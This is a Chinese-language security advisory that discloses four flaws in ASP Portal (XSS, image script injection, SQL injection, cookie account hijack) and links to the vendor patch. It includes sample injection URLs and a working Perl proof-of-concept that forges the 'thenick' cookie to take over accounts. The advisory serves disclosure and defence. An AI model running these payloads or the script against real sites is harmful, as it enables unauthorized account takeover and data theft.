安全研究
安全漏洞
ASP Portal多个安全漏洞
发布日期:2004-02-14
更新日期:2004-02-23
受影响系统:
ASP Portal ASP Portal描述:
BUGTRAQ ID: 9659
ASP Portal是一款基于ASP的使用ACCESS数据库存储站点信息的WEB构建工具。脚本还包括方便使用的管理接口。
ASP Portal对外部输入缺少充分过滤,远程攻击者可以利用这个漏洞得到验证,获取用户信息,或执行任意代码,修改用户信息。
第一漏洞是跨站脚本执行问题:
由于index.asp对提交给'inc'参数的数据缺少充分过滤,允许攻击者注入HTML和脚本代码到页面,导致恶意代码在客户端浏览器上执行。如:
http://localhost/index.asp?inc='>[XSS]
http://localhost/index.asp?inc=profile&searchtext='>[XSS]
http://localhost/index.asp?inc=forumread&article='>[XSS]
第二个是Image脚本代码注入:
攻击者可以注入任意HTML或脚本代码代替在用户'details'页的"photograph URL"的Image值,可导致恶意代码在客户端浏览器上执行。
第三个问题是SQL注入:
程序对用户提交给'pageid'和'downloadscat'字段的数据缺少充分过滤,提交包含恶意SQL命令,可更改原有SQL逻辑,获得数据库敏感信息,如:
http://localhost/index.asp?inc=blog&pageid='[SqlQuery]
http://localhost/index.asp?inc=downloadssub&downloadscat='[SqlQuery]
第四个问题是COOKIE帐户劫持:
通过修改COOKIE中的'thenick'参数,可未授权以其他帐户权限访问系统。
<*来源:Manuel López (mantra@gulo.org)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107695531828164&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
帐户劫持演示程序如下:
---- PROOF OF CONCEPT COOKIE ACCOUNT HIJACK ----
#!/usr/bin/perl -w
## PROOF OF CONCEPT COOKIE ACCOUNT HIJACK
## Example: Asp-POC.pl localhost portal/index.asp Admin respuesta.htm
use IO::Socket;
if (@ARGV < 4)
{
print "\n\n";
print " ____________________________________________________________ \n";
print "| |\n";
print "| PROOF OF CONCEPT COOKIE ACCOUNT HIJACK |\n";
print "| Usage:Asp-POC.pl [host] [directorio] [usuario] [fichero] |\n";
print "| |\n";
print "| By: Manuel López #IST |\n";
print "|____________________________________________________________|\n";
print "\n\n";
exit(1);
}
$host = $ARGV[0];
$directorio = $ARGV[1];
$usuario = $ARGV[2];
$fichero = $ARGV[3];
print "\n";
print "----- Conectando <----\n";
$socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => "$host",PeerPort => "80") || die "$socket error $!";
print "====> Conectado\n";
print "====> Enviando Datos\n";
$socket->print(<<taqui) or die "write: $!";
GET http://$host/$directorio HTTP/1.1
Cookie: thenick=$usuario
taqui
print "====> OK\n";
print "====> Generando $fichero ...\n";
open( Result, ">$fichero");
print Result while <$socket>;
close Result;
------------------------------------------------
建议:
厂商补丁:
ASP Portal
----------
下载补丁程序:
http://www.aspportal.net/downloadsviewer.asp?theurl=38
浏览次数:3157
严重程度:0(网友投票)
绿盟科技给您安全的保障